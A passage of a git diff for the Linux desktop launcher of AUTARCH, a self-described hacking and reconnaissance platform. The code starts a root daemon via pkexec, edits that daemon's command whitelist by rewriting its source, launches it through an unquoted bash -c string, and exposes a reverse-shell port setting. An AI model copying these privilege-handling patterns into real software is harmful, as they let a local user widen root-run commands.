law, that's on you. If you get caught, that's also on you. We told you not to do it. +Each platform launcher is self-contained and can also be run directly. """ -PRIVACY_TEXT = """PRIVACY POLICY & ACKNOWLEDGEMENTS - -COOKIES & DATA COLLECTION -AUTARCH does not collect, transmit, or sell any user data. All data stays on your machine. There are no analytics, telemetry, tracking pixels, or phone-home features. We don't want your data. We have enough of our own problems. - -This policy complies with GDPR (EU), CCPA (California), PIPEDA (Canada), LGPD (Brazil), POPIA (South Africa), and every other privacy regulation because the answer to "what data do you collect?" is "none." - -THIRD-PARTY ACKNOWLEDGEMENTS -All rights reserved © Setec Security Labs 2020–2026. - -AUTARCH is built with the help of outstanding open-source projects. We are NOT affiliated with any of the following organizations. All trademarks belong to their respective owners: - -• Python™ is managed by the Python Software Foundation (PSF) -• Java™ is a trademark of Oracle Corporation (originally Sun Microsystems) -• Flask is created by Armin Ronacher / Pallets Projects -• llama.cpp is created by Georgi Gerganov -• Anthropic, Claude, and the Claude API are trademarks of Anthropic, PBC -• OpenAI and GPT are trademarks of OpenAI, Inc. -• HuggingFace and Transformers are trademarks of Hugging Face, Inc. -• Metasploit is a trademark of Rapid7, Inc. -• Nmap is created by Gordon Lyon (Fyodor) -• Wireshark is a trademark of the Wireshark Foundation -• WireGuard is a trademark of Jason A. Donenfeld -• Scapy is created by Philippe Biondi -• Node.js is a trademark of the OpenJS Foundation -• Go is a trademark of Google LLC -• Android is a trademark of Google LLC -• Linux is a trademark of Linus Torvalds -• Raspberry Pi is a trademark of Raspberry Pi Ltd - -PLEASE SUPPORT THESE PROJECTS -If you find AUTARCH useful, consider donating to the open-source projects that make it possible. They do the hard work. We just glued it together. - -• Python: python.org/psf/donations -• Flask: palletsprojects.com -• llama.cpp: github.com/ggml-org/llama.cpp -• Nmap: nmap.org -• Wireshark: wireshark.org -• Scapy: scapy.net - -All rights reserved © Setec Security Labs 2020–2026 -""" +import sys -class SplashScreen(Gtk.Window): - def __init__(self, on_accept): - super().__init__(title="AUTARCH") - self.on_accept = on_accept - self.set_default_size(600, 700) - self.set_position(Gtk.WindowPosition.CENTER) - self.set_resizable(False) - # Don't quit the app when splash closes — we open the launcher next - self.connect('delete-event', lambda w, e: Gtk.main_quit() or False) - - box = Gtk.Box(orientation=Gtk.Orientation.VERTICAL, spacing=0) - box.override_background_color(Gtk.StateFlags.NORMAL, _rgba(0.08, 0.08, 0.1, 1)) - self.add(box) - - # Logo - if LOGO.exists(): - pb = GdkPixbuf.Pixbuf.new_from_file_at_scale(str(LOGO), 200, 200, True) - img = Gtk.Image.new_from_pixbuf(pb) - img.set_margin_top(20) - box.pack_start(img, False, False, 0) - - self.stack = Gtk.Stack() - self.stack.set_transition_type(Gtk.StackTransitionType.SLIDE_LEFT) - box.pack_start(self.stack, True, True, 0) - - # Page 1: EULA - self.stack.add_named(self._make_eula_page(), 'eula') - # Page 2: Privacy - self.stack.add_named(self._make_privacy_page(), 'privacy') - - self.show_all() - - def _make_scroll_text(self, text, on_scroll_end=None): - frame = Gtk.Frame() - frame.set_margin_start(20); frame.set_margin_end(20); frame.set_margin_top(10) - sw = Gtk.ScrolledWindow() - sw.set_min_content_height(350) - tv = Gtk.TextView() - tv.set_editable(False); tv.set_wrap_mode(Gtk.WrapMode.WORD) - tv.set_left_margin(12); tv.set_right_margin(12); tv.set_top_margin(8) - tv.override_background_color(Gtk.StateFlags.NORMAL, _rgba(0.06, 0.06, 0.08, 1)) - tv.override_color(Gtk.StateFlags.NORMAL, _rgba(0.7, 0.7, 0.7, 1)) - tv.override_font(Pango.FontDescription('monospace 9')) - tv.get_buffer().set_text(text) - sw.add(tv) - frame.add(sw) - if on_scroll_end: - adj = sw.get_vadjustment() - adj.connect('value-changed', lambda a: on_scroll_end() if a.get_value() >= a.get_upper() - a.get_page_size() - 10 else None) - return frame - - def _make_eula_page(self): - page = Gtk.Box(orientation=Gtk.Orientation.VERTICAL, spacing=8) - page.pack_start(self._make_scroll_text(EULA_TEXT), True, True, 0) - btnbox = Gtk.Box(spacing=12) - btnbox.set_halign(Gtk.Align.CENTER); btnbox.set_margin_bottom(15); btnbox.set_margin_top(8) - accept = Gtk.Button(label="I Accept") - accept.get_style_context().add_class('suggested-action') - accept.connect('clicked', self._on_accept_eula) - screw = Gtk.Button(label="Screw This Shit") - screw.get_style_context().add_class('destructive-action') - screw.connect('clicked', self._on_reject) - btnbox.pack_start(screw, False, False, 0) - btnbox.pack_start(accept, False, False, 0) - page.pack_start(btnbox, False, False, 0) - return page - - def _make_privacy_page(self): - page = Gtk.Box(orientation=Gtk.Orientation.VERTICAL, spacing=8) - lbl = Gtk.Label(label="↓ Scroll to the bottom to continue ↓") - lbl.override_color(Gtk.StateFlags.NORMAL, _rgba(0.4, 0.9, 0.4, 1)) - lbl.set_margin_top(5) - page.pack_start(lbl, False, False, 0) - self._next_btn = Gtk.Button(label="Next →") - self._next_btn.get_style_context().add_class('suggested-action') - self._next_btn.set_sensitive(False) - self._next_btn.connect('clicked', self._on_next) - page.pack_start(self._make_scroll_text(PRIVACY_TEXT, on_scroll_end=lambda: self._next_btn.set_sensitive(True)), True, True, 0) - btnbox = Gtk.Box(); btnbox.set_halign(Gtk.Align.CENTER); btnbox.set_margin_bottom(15); btnbox.set_margin_top(8) - btnbox.pack_start(self._next_btn, False, False, 0) - page.pack_start(btnbox, False, False, 0) - return page - - def _on_accept_eula(self, btn): - self.stack.set_visible_child_name('privacy') - - def _on_reject(self, btn): - d = Gtk.MessageDialog(parent=self, modal=True, message_type=Gtk.MessageType.QUESTION, - buttons=Gtk.ButtonsType.YES_NO, - text="Really? You're going to pass on this masterpiece?") - d.format_secondary_text("Your loss. The internet will remain unprotected. Are you sure you want to quit?") - resp = d.run(); d.destroy() - if resp == Gtk.ResponseType.YES: - Gtk.main_quit() - - def _on_next(self, btn): - SPLASH_FLAG.parent.mkdir(parents=True, exist_ok=True) - SPLASH_FLAG.write_text('accepted') - self.destroy() - self.on_accept() - - -# ── Main Launcher Window ────────────────────────────────────────────────────── - -class LauncherWindow(Gtk.Window): - def __init__(self): - super().__init__(title="AUTARCH Launcher") - self.set_default_size(500, 420) - self.set_position(Gtk.WindowPosition.CENTER) - self.connect('destroy', self._on_quit) - - # Set window icon - icon_svg = DIR / 'icon.svg' - if icon_svg.exists(): - try: - self.set_icon_from_file(str(icon_svg)) - except Exception: - pass - - main = Gtk.Box(orientation=Gtk.Orientation.VERTICAL, spacing=0) - main.override_background_color(Gtk.StateFlags.NORMAL, _rgba(0.08, 0.08, 0.1, 1)) - self.add(main) - - # Header - if LOGO.exists(): - pb = GdkPixbuf.Pixbuf.new_from_file_at_scale(str(LOGO), 64, 64, True) - hbox = Gtk.Box(spacing=10); hbox.set_margin_top(12); hbox.set_margin_start(15) - hbox.pack_start(Gtk.Image.new_from_pixbuf(pb), False, False, 0) - lbl = Gtk.Label(); lbl.set_markup('AUTARCH\nSecurity Platform') - hbox.pack_start(lbl, False, False, 0) - main.pack_start(hbox, False, False, 0) - - # Status bar - self.status = Gtk.Label(label="Stopped") - self.status.set_margin_top(8); self.status.set_margin_bottom(4) - self.status.override_color(Gtk.StateFlags.NORMAL, _rgba(0.6, 0.6, 0.6, 1)) - main.pack_start(self.status, False, False, 0) - - # Buttons - grid = Gtk.Grid(column_spacing=10, row_spacing=10) - grid.set_halign(Gtk.Align.CENTER); grid.set_margin_top(10); grid.set_margin_bottom(10) - - self.btn_start = self._btn("▶ Start All", self._on_start, '#00ff41') - self.btn_stop = self._btn("■ Stop All", self._on_stop, '#ff3b30') - self.btn_reload = self._btn("↻ Reload", self._on_reload, '#f59e0b') - self.btn_web = self._btn("Web Server", self._on_start_web, '#5ac8fa') - self.btn_daemon = self._btn("Daemon", self._on_start_daemon, '#5ac8fa') - - grid.attach(self.btn_start, 0, 0, 2, 1) - grid.attach(self.btn_stop, 2, 0, 1, 1) - grid.attach(self.btn_reload, 0, 1, 1, 1) - grid.attach(self.btn_web, 1, 1, 1, 1) - grid.attach(self.btn_daemon, 2, 1, 1, 1) - main.pack_start(grid, False, False, 0) - - # Settings tabs - nb = Gtk.Notebook() - nb.set_margin_start(10); nb.set_margin_end(10); nb.set_margin_bottom(10) - nb.append_page(self._make_web_settings(), Gtk.Label(label="AUTARCH WebUI")) - nb.append_page(self._make_daemon_settings(), Gtk.Label(label="AUTARCH Daemon")) - main.pack_start(nb, True, True, 0) - - self._refresh_status() - GLib.timeout_add_seconds(3, self._refresh_status) - self.show_all() - - def _btn(self, label, callback, color): - b = Gtk.Button(label=label) - b.connect('clicked', callback) - b.set_size_request(140, 36) - return b - - def _make_web_settings(self): - box = Gtk.Box(orientation=Gtk.Orientation.VERTICAL, spacing=6) - box.set_margin_start(8); box.set_margin_end(8); box.set_margin_top(8) - - self.cfg = configparser.ConfigParser() - if CONF.exists(): - self.cfg.read(str(CONF)) - - grid = Gtk.Grid(column_spacing=10, row_spacing=6) - self.web_entries = {} - fields = [('web', 'host', 'Listen Host'), ('web', 'port', 'Listen Port'), - ('web', 'mcp_port', 'MCP Port'), ('revshell', 'port', 'RevShell Port')] - for i, (sec, key, label) in enumerate(fields): - grid.attach(Gtk.Label(label=label, xalign=0), 0, i, 1, 1) - e = Gtk.Entry(); e.set_text(self.cfg.get(sec, key, fallback='')) - e.set_width_chars(20) - self.web_entries[(sec, key)] = e - grid.attach(e, 1, i, 1, 1) - - box.pack_start(grid, False, False, 0) - save = Gtk.Button(label="Save Settings") - save.connect('clicked', self._save_web_settings) - save.set_halign(Gtk.Align.START); save.set_margin_top(6) - box.pack_start(save, False, False, 0) - return box - - def _make_daemon_settings(self): - box = Gtk.Box(orientation=Gtk.Orientation.VERTICAL, spacing=6) - box.set_margin_start(8); box.set_margin_end(8); box.set_margin_top(8) - - lbl = Gtk.Label() - lbl.set_markup('⚠ Only edit if you know what you are doing') - lbl.set_xalign(0) - box.pack_start(lbl, False, False, 0) - - # Whitelist editor - edit_btn = Gtk.Button(label="Edit Command Whitelist") - edit_btn.connect('clicked', self._edit_whitelist) - box.pack_start(edit_btn, False, False, 0) - - # Socket path display - hb = Gtk.Box(spacing=6) - hb.pack_start(Gtk.Label(label="Socket:", xalign=0), False, False, 0) - hb.pack_start(Gtk.Label(label=DAEMON_SOCK), False, False, 0) - box.pack_start(hb, False, False, 0) - - return box - - def _save_web_settings(self, btn): - for (sec, key), entry in self.web_entries.items(): - if not self.cfg.has_section(sec): - self.cfg.add_section(sec) - self.cfg.set(sec, key, entry.get_text()) - with open(CONF, 'w') as f: - self.cfg.write(f) - self.status.set_text("Settings saved") - - def _edit_whitelist(self, btn): - # Read current whitelist from daemon.py - daemon_py = DIR / 'core' / 'daemon.py' - import re - src = daemon_py.read_text() - m = re.search(r'ALLOWED_COMMANDS\s*=\s*\{([^}]+)\}', src, re.DOTALL) - if not m: - return - cmds = sorted(c.strip().strip("'\"") for c in m.group(1).split(',') if c.strip().strip("'\"")) - - d = Gtk.Dialog(title="Command Whitelist", parent=self, modal=True) - d.set_default_size(400, 400) - d.add_button("Cancel", Gtk.ResponseType.CANCEL) - d.add_button("Save", Gtk.ResponseType.OK) - - sw = Gtk.ScrolledWindow() - tv = Gtk.TextView() - tv.set_left_margin(8); tv.set_top_margin(8) - tv.get_buffer().set_text('\n'.join(cmds)) - tv.override_font(Pango.FontDescription('monospace 10')) - sw.add(tv) - d.get_content_area().pack_start(sw, True, True, 0) - d.show_all() - - if d.run() == Gtk.ResponseType.OK: - buf = tv.get_buffer() - text = buf.get_text(buf.get_start_iter(), buf.get_end_iter(), False) - new_cmds = sorted(set(c.strip() for c in text.split('\n') if c.strip())) - new_set = '{\n' + ''.join(f" '{c}',\n" for c in new_cmds) + '}' - new_src = re.sub(r'ALLOWED_COMMANDS\s*=\s*\{[^}]+\}', f'ALLOWED_COMMANDS = {new_set}', src, count=1) - daemon_py.write_text(new_src) - self.status.set_text(f"Whitelist saved: {len(new_cmds)} commands") - d.destroy() - - def _refresh_status(self): - d = "●" if is_daemon_running() else "○" - w = "●" if is_web_running() else "○" - dc = "#00ff41" if is_daemon_running() else "#ff3b30" - wc = "#00ff41" if is_web_running() else "#ff3b30" - self.status.set_markup( - f'{d} Daemon ' - f'{w} Web Server' - ) - return True # keep timer - - def _on_start(self, btn): - btn.set_sensitive(False) - self.status.set_text("Starting daemon (enter password)...") - # Run everything in a thread — pkexec is its own window, doesn't need the main thread - threading.Thread(target=self._do_start_all, args=(btn,), daemon=True).start() - - def _do_start_all(self, btn): - start_daemon() - GLib.idle_add(self._refresh_status) - start_web() - GLib.idle_add(self._refresh_status) - GLib.idle_add(lambda: btn.set_sensitive(True)) - - def _on_stop(self, btn): - btn.set_sensitive(False) - self.status.set_text("Stopping...") - threading.Thread(target=self._do_stop_all, args=(btn,), daemon=True).start() - - def _do_stop_all(self, btn): - stop_all() - GLib.idle_add(self._refresh_status) - GLib.idle_add(lambda: btn.set_sensitive(True)) - - def _on_reload(self, btn): - btn.set_sensitive(False) - self.status.set_text("Reloading...") - def do_reload(): - stop_all() - GLib.idle_add(self._refresh_status) - GLib.idle_add(lambda: self.status.set_text("Waiting 5 seconds...")) - time.sleep(5) - GLib.idle_add(lambda: self.status.set_text("Starting daemon (enter password)...")) - start_daemon() - GLib.idle_add(self._refresh_status) - start_web() - GLib.idle_add(self._refresh_status) - GLib.idle_add(lambda: btn.set_sensitive(True)) - threading.Thread(target=do_reload, daemon=True).start() - - def _on_start_web(self, btn): - threading.Thread(target=lambda: (start_web(), GLib.idle_add(self._refresh_status)), daemon=True).start() - - def _on_start_daemon(self, btn): - btn.set_sensitive(False) - self.status.set_text("Starting daemon (enter password)...") - def do(): - start_daemon() - GLib.idle_add(self._refresh_status) - GLib.idle_add(lambda: btn.set_sensitive(True)) - threading.Thread(target=do, daemon=True).start() - - def _on_quit(self, *a): - # Only stop the web server (runs as user, no password needed) - # Leave the daemon running — it's a system service - stop_web() - Gtk.main_quit() - - -def _rgba(r, g, b, a): - from gi.repository import Gdk - c = Gdk.RGBA(); c.red = r; c.green = g; c.blue = b; c.alpha = a - return c - - -def main(): - def launch(): - win = LauncherWindow() - - if SPLASH_FLAG.exists(): - launch() +def main() -> None: + if sys.platform.startswith('win'): + from launcher_windows import main as _main + elif sys.platform.startswith('linux'): + from launcher_linux import main as _main else: - SplashScreen(on_accept=launch) - - Gtk.main() + sys.stderr.write( + f"AUTARCH: no launcher implementation for platform '{sys.platform}'.\n" + "Run `python autarch_web.py` to start the web server directly.\n" + ) + sys.exit(2) + _main() if __name__ == '__main__': diff --git a/launcher_linux.py b/launcher_linux.py new file mode 100644 index 0000000..d9b252a --- /dev/null +++ b/launcher_linux.py @@ -0,0 +1,546 @@ +#!/usr/bin/env python3 +"""AUTARCH Desktop Launcher""" + +import gi +gi.require_version('Gtk', '3.0') +from gi.repository import Gtk, GdkPixbuf, GLib, Pango +import subprocess, os, sys, signal, configparser, json, threading, time +from pathlib import Path + +DIR = Path(__file__).parent +CONF = DIR / 'autarch_settings.conf' +LOGO = DIR / 'assets' / 'logo.png' +SPLASH_FLAG = DIR / 'data' / '.splash_accepted' +VENV_PY = DIR / 'venv' / 'bin' / 'python' +SYS_PY = 'python3' +DAEMON_SOCK = '/var/run/autarch-daemon.sock' + +_web_proc = None +_daemon_proc = None + + +def get_py(): + return str(VENV_PY) if VENV_PY.exists() else SYS_PY + + +def is_daemon_running(): + return os.path.exists(DAEMON_SOCK) + + +def is_web_running(): + global _web_proc + return _web_proc is not None and _web_proc.poll() is None + + +def start_daemon(): + global _daemon_proc + if is_daemon_running(): + return True + try: + py = get_py() + daemon_script = str(DIR / 'core' / 'daemon.py') + + if os.environ.get('DISPLAY') or os.environ.get('WAYLAND_DISPLAY'): + # Use pkexec with a wrapper that backgrounds the daemon. + # pkexec runs the command and waits, so we use bash -c to fork it. + _daemon_proc = subprocess.Popen([ + 'pkexec', 'bash', '-c', + f'{py} {daemon_script} &' + ]) + # Wait for pkexec to finish (just the auth + fork, not the daemon itself) + _daemon_proc.wait(timeout=60) + else: + _daemon_proc = subprocess.Popen(['sudo', py, daemon_script]) + + # Give the daemon a moment to create the socket + for _ in range(10): + time.sleep(0.5) + if is_daemon_running(): + return True + return is_daemon_running() + except subprocess.TimeoutExpired: + # User took too long on password dialog — that's ok + return is_daemon_running() + except Exception: + return False + + +def stop_daemon(): + global _daemon_proc + # Read PID from pidfile and kill it — one pkexec prompt max + pid = None + try: + with open('/var/run/autarch-daemon.pid') as f: + pid = int(f.read().strip()) + except Exception: + pass + + if pid: + # Single elevated call to kill the daemon — it cleans up its own files on shutdown + _elevate(['kill', str(pid)]) + # Wait for it to actually die + for _ in range(10): + time.sleep(0.3) + if not is_daemon_running(): + break + elif is_daemon_running(): + _elevate(['pkill', '-f', 'core/daemon.py']) + + _daemon_proc = None + + +def _elevate(cmd): + """Run a command with root privileges using pkexec (GUI) or sudo (terminal).""" + if os.environ.get('DISPLAY') or os.environ.get('WAYLAND_DISPLAY'): + return subprocess.run(['pkexec'] + cmd, capture_output=True) + return subprocess.run(['sudo'] + cmd, capture_output=True) + + +def start_web(): + global _web_proc + if is_web_running(): + return True + _web_proc = subprocess.Popen([get_py(), str(DIR / 'autarch.py'), '--web', '--no-banner']) + return True + + +def stop_web(): + global _web_proc + if _web_proc: + _web_proc.terminate() + try: + _web_proc.wait(timeout=5) + except subprocess.TimeoutExpired: + _web_proc.kill() + _web_proc = None + subprocess.run(['pkill', '-f', 'autarch.py --web'], capture_output=True) + + +def stop_all(): + stop_web() + stop_daemon() + + +# ── Splash Screen ───────────────────────────────────────────────────────────── + +EULA_TEXT = """AUTARCH — Autonomous Tactical Agent for Reconnaissance, Counterintelligence, and Hacking +By darkHal Security Group & Setec Security Labs + +END USER LICENSE AGREEMENT + +1. DISCLAIMER OF WARRANTY +This software is provided "AS IS" without warranty of any kind, express or implied. The authors make no guarantees regarding functionality, reliability, or fitness for any particular purpose. Use at your own risk. + +2. LIMITATION OF LIABILITY +In no event shall darkHal Security Group, Setec Security Labs, or any contributors be held liable for any damages whatsoever arising from the use of this software, including but not limited to direct, indirect, incidental, special, or consequential damages. + +3. AUTHORIZED USE ONLY +This software is designed for authorized security testing and research. You are solely responsible for ensuring you have proper authorization before testing any system. Unauthorized access to computer systems is illegal. + +4. LICENSE +Unless otherwise noted on a module, tool, addon, or extension: + • This software is FREE for personal/home use + • This software is FREE to give away (unmodified) for home use + • Commercial use is NOT permitted without a commercial license + • Government use is PROHIBITED — however, a single-day user license may be purchased for the deed to half of the United States of America, or $10,000 USD per minute of use, whichever is greater + +5. NO RESPONSIBILITY +We are not responsible for what you do with this software. If you break the law, that's on you. If you get caught, that's also on you. We told you not to do it. +""" + +PRIVACY_TEXT = """PRIVACY POLICY & ACKNOWLEDGEMENTS + +COOKIES & DATA COLLECTION +AUTARCH does not collect, transmit, or sell any user data. All data stays on your machine. There are no analytics, telemetry, tracking pixels, or phone-home features. We don't want your data. We have enough of our own problems. + +This policy complies with GDPR (EU), CCPA (California), PIPEDA (Canada), LGPD (Brazil), POPIA (South Africa), and every other privacy regulation because the answer to "what data do you collect?" is "none." + +THIRD-PARTY ACKNOWLEDGEMENTS +All rights reserved © Setec Security Labs 2020–2026. + +AUTARCH is built with the help of outstanding open-source projects. We are NOT affiliated with any of the following organizations. All trademarks belong to their respective owners: + +• Python™ is managed by the Python Software Foundation (PSF) +• Java™ is a trademark of Oracle Corporation (originally Sun Microsystems) +• Flask is created by Armin Ronacher / Pallets Projects +• llama.cpp is created by Georgi Gerganov +• Anthropic, Claude, and the Claude API are trademarks of Anthropic, PBC +• OpenAI and GPT are trademarks of OpenAI, Inc. +• HuggingFace and Transformers are trademarks of Hugging Face, Inc. +• Metasploit is a trademark of Rapid7, Inc. +• Nmap is created by Gordon Lyon (Fyodor) +• Wireshark is a trademark of the Wireshark Foundation +• WireGuard is a trademark of Jason A. Donenfeld +• Scapy is created by Philippe Biondi +• Node.js is a trademark of the OpenJS Foundation +• Go is a trademark of Google LLC +• Android is a trademark of Google LLC +• Linux is a trademark of Linus Torvalds +• Raspberry Pi is a trademark of Raspberry Pi Ltd + +PLEASE SUPPORT THESE PROJECTS +If you find AUTARCH useful, consider donating to the open-source projects that make it possible. They do the hard work. We just glued it together. + +• Python: python.org/psf/donations +• Flask: palletsprojects.com +• llama.cpp: github.com/ggml-org/llama.cpp +• Nmap: nmap.org +• Wireshark: wireshark.org +• Scapy: scapy.net + +All rights reserved © Setec Security Labs 2020–2026 +""" + + +class SplashScreen(Gtk.Window): + def __init__(self, on_accept): + super().__init__(title="AUTARCH") + self.on_accept = on_accept + self.set_default_size(600, 700) + self.set_position(Gtk.WindowPosition.CENTER) + self.set_resizable(False) + # Don't quit the app when splash closes — we open the launcher next + self.connect('delete-event', lambda w, e: Gtk.main_quit() or False) + + box = Gtk.Box(orientation=Gtk.Orientation.VERTICAL, spacing=0) + box.override_background_color(Gtk.StateFlags.NORMAL, _rgba(0.08, 0.08, 0.1, 1)) + self.add(box) + + # Logo + if LOGO.exists(): + pb = GdkPixbuf.Pixbuf.new_from_file_at_scale(str(LOGO), 200, 200, True) + img = Gtk.Image.new_from_pixbuf(pb) + img.set_margin_top(20) + box.pack_start(img, False, False, 0) + + self.stack = Gtk.Stack() + self.stack.set_transition_type(Gtk.StackTransitionType.SLIDE_LEFT) + box.pack_start(self.stack, True, True, 0) + + # Page 1: EULA + self.stack.add_named(self._make_eula_page(), 'eula') + # Page 2: Privacy + self.stack.add_named(self._make_privacy_page(), 'privacy') + + self.show_all() + + def _make_scroll_text(self, text, on_scroll_end=None): + frame = Gtk.Frame() + frame.set_margin_start(20); frame.set_margin_end(20); frame.set_margin_top(10) + sw = Gtk.ScrolledWindow() + sw.set_min_content_height(350) + tv = Gtk.TextView() + tv.set_editable(False); tv.set_wrap_mode(Gtk.WrapMode.WORD) + tv.set_left_margin(12); tv.set_right_margin(12); tv.set_top_margin(8) + tv.override_background_color(Gtk.StateFlags.NORMAL, _rgba(0.06, 0.06, 0.08, 1)) + tv.override_color(Gtk.StateFlags.NORMAL, _rgba(0.7, 0.7, 0.7, 1)) + tv.override_font(Pango.FontDescription('monospace 9')) + tv.get_buffer().set_text(text) + sw.add(tv) + frame.add(sw) + if on_scroll_end: + adj = sw.get_vadjustment() + adj.connect('value-changed', lambda a: on_scroll_end() if a.get_value() >= a.get_upper() - a.get_page_size() - 10 else None) + return frame + + def _make_eula_page(self): + page = Gtk.Box(orientation=Gtk.Orientation.VERTICAL, spacing=8) + page.pack_start(self._make_scroll_text(EULA_TEXT), True, True, 0) + btnbox = Gtk.Box(spacing=12) + btnbox.set_halign(Gtk.Align.CENTER); btnbox.set_margin_bottom(15); btnbox.set_margin_top(8) + accept = Gtk.Button(label="I Accept") + accept.get_style_context().add_class('suggested-action') + accept.connect('clicked', self._on_accept_eula) + screw = Gtk.Button(label="Screw This Shit") + screw.get_style_context().add_class('destructive-action') + screw.connect('clicked', self._on_reject) + btnbox.pack_start(screw, False, False, 0) + btnbox.pack_start(accept, False, False, 0) + page.pack_start(btnbox, False, False, 0) + return page + + def _make_privacy_page(self): + page = Gtk.Box(orientation=Gtk.Orientation.VERTICAL, spacing=8) + lbl = Gtk.Label(label="↓ Scroll to the bottom to continue ↓") + lbl.override_color(Gtk.StateFlags.NORMAL, _rgba(0.4, 0.9, 0.4, 1)) + lbl.set_margin_top(5) + page.pack_start(lbl, False, False, 0) + self._next_btn = Gtk.Button(label="Next →") + self._next_btn.get_style_context().add_class('suggested-action') + self._next_btn.set_sensitive(False) + self._next_btn.connect('clicked', self._on_next) + page.pack_start(self._make_scroll_text(PRIVACY_TEXT, on_scroll_end=lambda: self._next_btn.set_sensitive(True)), True, True, 0) + btnbox = Gtk.Box(); btnbox.set_halign(Gtk.Align.CENTER); btnbox.set_margin_bottom(15); btnbox.set_margin_top(8) + btnbox.pack_start(self._next_btn, False, False, 0) + page.pack_start(btnbox, False, False, 0) + return page + + def _on_accept_eula(self, btn): + self.stack.set_visible_child_name('privacy') + + def _on_reject(self, btn): + d = Gtk.MessageDialog(parent=self, modal=True, message_type=Gtk.MessageType.QUESTION, + buttons=Gtk.ButtonsType.YES_NO, + text="Really? You're going to pass on this masterpiece?") + d.format_secondary_text("Your loss. The internet will remain unprotected. Are you sure you want to quit?") + resp = d.run(); d.destroy() + if resp == Gtk.ResponseType.YES: + Gtk.main_quit() + + def _on_next(self, btn): + SPLASH_FLAG.parent.mkdir(parents=True, exist_ok=True) + SPLASH_FLAG.write_text('accepted') + self.destroy() + self.on_accept() + + +# ── Main Launcher Window ────────────────────────────────────────────────────── + +class LauncherWindow(Gtk.Window): + def __init__(self): + super().__init__(title="AUTARCH Launcher") + self.set_default_size(500, 420) + self.set_position(Gtk.WindowPosition.CENTER) + self.connect('destroy', self._on_quit) + + # Set window icon + icon_svg = DIR / 'icon.svg' + if icon_svg.exists(): + try: + self.set_icon_from_file(str(icon_svg)) + except Exception: + pass + + main = Gtk.Box(orientation=Gtk.Orientation.VERTICAL, spacing=0) + main.override_background_color(Gtk.StateFlags.NORMAL, _rgba(0.08, 0.08, 0.1, 1)) + self.add(main) + + # Header + if LOGO.exists(): + pb = GdkPixbuf.Pixbuf.new_from_file_at_scale(str(LOGO), 64, 64, True) + hbox = Gtk.Box(spacing=10); hbox.set_margin_top(12); hbox.set_margin_start(15) + hbox.pack_start(Gtk.Image.new_from_pixbuf(pb), False, False, 0) + lbl = Gtk.Label(); lbl.set_markup('AUTARCH\nSecurity Platform') + hbox.pack_start(lbl, False, False, 0) + main.pack_start(hbox, False, False, 0) + + # Status bar + self.status = Gtk.Label(label="Stopped") + self.status.set_margin_top(8); self.status.set_margin_bottom(4) + self.status.override_color(Gtk.StateFlags.NORMAL, _rgba(0.6, 0.6, 0.6, 1)) + main.pack_start(self.status, False, False, 0) + + # Buttons + grid = Gtk.Grid(column_spacing=10, row_spacing=10) + grid.set_halign(Gtk.Align.CENTER); grid.set_margin_top(10); grid.set_margin_bottom(10) + + self.btn_start = self._btn("▶ Start All", self._on_start, '#00ff41') + self.btn_stop = self._btn("■ Stop All", self._on_stop, '#ff3b30') + self.btn_reload = self._btn("↻ Reload", self._on_reload, '#f59e0b') + self.btn_web = self._btn("Web Server", self._on_start_web, '#5ac8fa') + self.btn_daemon = self._btn("Daemon", self._on_start_daemon, '#5ac8fa') + + grid.attach(self.btn_start, 0, 0, 2, 1) + grid.attach(self.btn_stop, 2, 0, 1, 1) + grid.attach(self.btn_reload, 0, 1, 1, 1) + grid.attach(self.btn_web, 1, 1, 1, 1) + grid.attach(self.btn_daemon, 2, 1, 1, 1) + main.pack_start(grid, False, False, 0) + + # Settings tabs + nb = Gtk.Notebook() + nb.set_margin_start(10); nb.set_margin_end(10); nb.set_margin_bottom(10) + nb.append_page(self._make_web_settings(), Gtk.Label(label="AUTARCH WebUI")) + nb.append_page(self._make_daemon_settings(), Gtk.Label(label="AUTARCH Daemon")) + main.pack_start(nb, True, True, 0) + + self._refresh_status() + GLib.timeout_add_seconds(3, self._refresh_status) + self.show_all() + + def _btn(self, label, callback, color): + b = Gtk.Button(label=label) + b.connect('clicked', callback) + b.set_size_request(140, 36) + return b + + def _make_web_settings(self): + box = Gtk.Box(orientation=Gtk.Orientation.VERTICAL, spacing=6) + box.set_margin_start(8); box.set_margin_end(8); box.set_margin_top(8) + + self.cfg = configparser.ConfigParser() + if CONF.exists(): + self.cfg.read(str(CONF)) + + grid = Gtk.Grid(column_spacing=10, row_spacing=6) + self.web_entries = {} + fields = [('web', 'host', 'Listen Host'), ('web', 'port', 'Listen Port'), + ('web', 'mcp_port', 'MCP Port'), ('revshell', 'port', 'RevShell Port')] + for i, (sec, key, label) in enumerate(fields): + grid.attach(Gtk.Label(label=label, xalign=0), 0, i, 1, 1) + e = Gtk.Entry(); e.set_text(self.cfg.get(sec, key, fallback='')) + e.set_width_chars(20) + self.web_entries[(sec, key)] = e + grid.attach(e, 1, i, 1, 1) + + box.pack_start(grid, False, False, 0) + save = Gtk.Button(label="Save Settings") + save.connect('clicked', self._save_web_settings) + save.set_halign(Gtk.Align.START); save.set_margin_top(6) + box.pack_start(save, False, False, 0) + return box + + def _make_daemon_settings(self): + box = Gtk.Box(orientation=Gtk.Orientation.VERTICAL, spacing=6) + box.set_margin_start(8); box.set_margin_end(8); box.set_margin_top(8) + + lbl = Gtk.Label() + lbl.set_markup('⚠ Only edit if you know what you are doing') + lbl.set_xalign(0) + box.pack_start(lbl, False, False, 0) + + # Whitelist editor + edit_btn = Gtk.Button(label="Edit Command Whitelist") + edit_btn.connect('clicked', self._edit_whitelist) + box.pack_start(edit_btn, False, False, 0) + + # Socket path display + hb = Gtk.Box(spacing=6) + hb.pack_start(Gtk.Label(label="Socket:", xalign=0), False, False, 0) + hb.pack_start(Gtk.Label(label=DAEMON_SOCK), False, False, 0) + box.pack_start(hb, False, False, 0) + + return box + + def _save_web_settings(self, btn): + for (sec, key), entry in self.web_entries.items(): + if not self.cfg.has_section(sec): + self.cfg.add_section(sec) + self.cfg.set(sec, key, entry.get_text()) + with open(CONF, 'w') as f: + self.cfg.write(f) + self.status.set_text("Settings saved") + + def _edit_whitelist(self, btn): + # Read current whitelist from daemon.py + daemon_py = DIR / 'core' / 'daemon.py' + import re + src = daemon_py.read_text() + m = re.search(r'ALLOWED_COMMANDS\s*=\s*\{([^}]+)\}', src, re.DOTALL) + if not m: + return + cmds = sorted(c.strip().strip("'\"") for c in m.group(1).split(',') if c.strip().strip("'\"")) + + d = Gtk.Dialog(title="Command Whitelist", parent=self, modal=True) + d.set_default_size(400, 400) + d.add_button("Cancel", Gtk.ResponseType.CANCEL) + d.add_button("Save", Gtk.ResponseType.OK) + + sw = Gtk.ScrolledWindow() + 